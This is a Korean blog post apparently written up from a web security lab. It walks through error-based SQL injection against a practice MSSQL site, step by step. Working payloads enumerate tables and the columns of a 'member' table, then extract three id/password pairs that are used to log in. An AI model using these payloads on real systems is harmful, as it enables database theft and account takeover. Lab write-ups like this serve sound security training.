yuil :: SecOps

[WebSec] Database Scheme Lab 03 본문

실습/Web Security 실습

[WebSec] Database Scheme Lab 03

yuil.lee 2025. 10. 22. 11:09
camel 사이트 대상 database schema 파악하기
- table명 찾기
- 찾은 table 중 회원 정보가 들어 있는 table의 column 명 찾기
- 위에서 찾은 정보로 계정 정보(id, password) 알아내기

 

1. table명 찾기
'or (select top 1 name from (select top 1 name from sysobjects where xtype='u' order by name) as vtable order by name desc)>0--

쭉 시도..

'or (select top 1 name from (select top 18 name from sysobjects where xtype='u' order by name) as vtable order by name desc)>0--

회원 테이블로 예상되는 'member' 테이블 발견

 

2. member 테이블의 column명 찾기
'or (select top 1 column_name from (select top 1 column_name from information_schema.columns where table_name='member' order by column_name) as vtable order by column_name desc)>0--

'or (select top 1 column_name from (select top 2 column_name from information_schema.columns where table_name='member' order by column_name) as vtable order by column_name desc)>0--

 

쭉 시도..

'or (select top 1 column_name from (select top 5 column_name from information_schema.columns where table_name='member' order by column_name) as vtable order by column_name desc)>0--

id 칼럼으로 예상되는 필드 발견 'mem_id'

'or (select top 1 column_name from (select top 8 column_name from information_schema.columns where table_name='member' order by column_name) as vtable order by column_name desc)>0--

비밀번호 칼럼으로 예상되는 필드 'mem_pwd'

 

 

3. 찾은 정보로 id/pw 알아내기

1) 첫 번째 계정 찾기

'or (select top 1 mem_id from member)>0--

'admin' id 탈취

'or (select top 1 mem_pwd from member where mem_id='admin')>0--

admin 계정의 비밀번호 'admin' 탈취

 

2) 두 번째 계정 찾기

'or (select top 1 mem_id from member where mem_id!='admin')>0--

'dltnstls' id 탈취

'or (select top 1 mem_pwd from member where mem_id='dltnstls')>0--

비밀번호 'wkdrns' 탈취

 

3) 세 번째 계정 찾기

'or (select top 1 mem_id from member where mem_id!='admin' and mem_id!='dltnstls')>0--

'hacker' id 탈취

'or (select mem_pwd from member where mem_id='hacker')>0--

비밀번호 'hacker' 탈취

 

계정 탈취 정보
admin / admin
dltnstls / wkdrns
hacker / hacker

 

로그인 테스트

로그인 완료

 

 

계정 정보 탈취 성공
반응형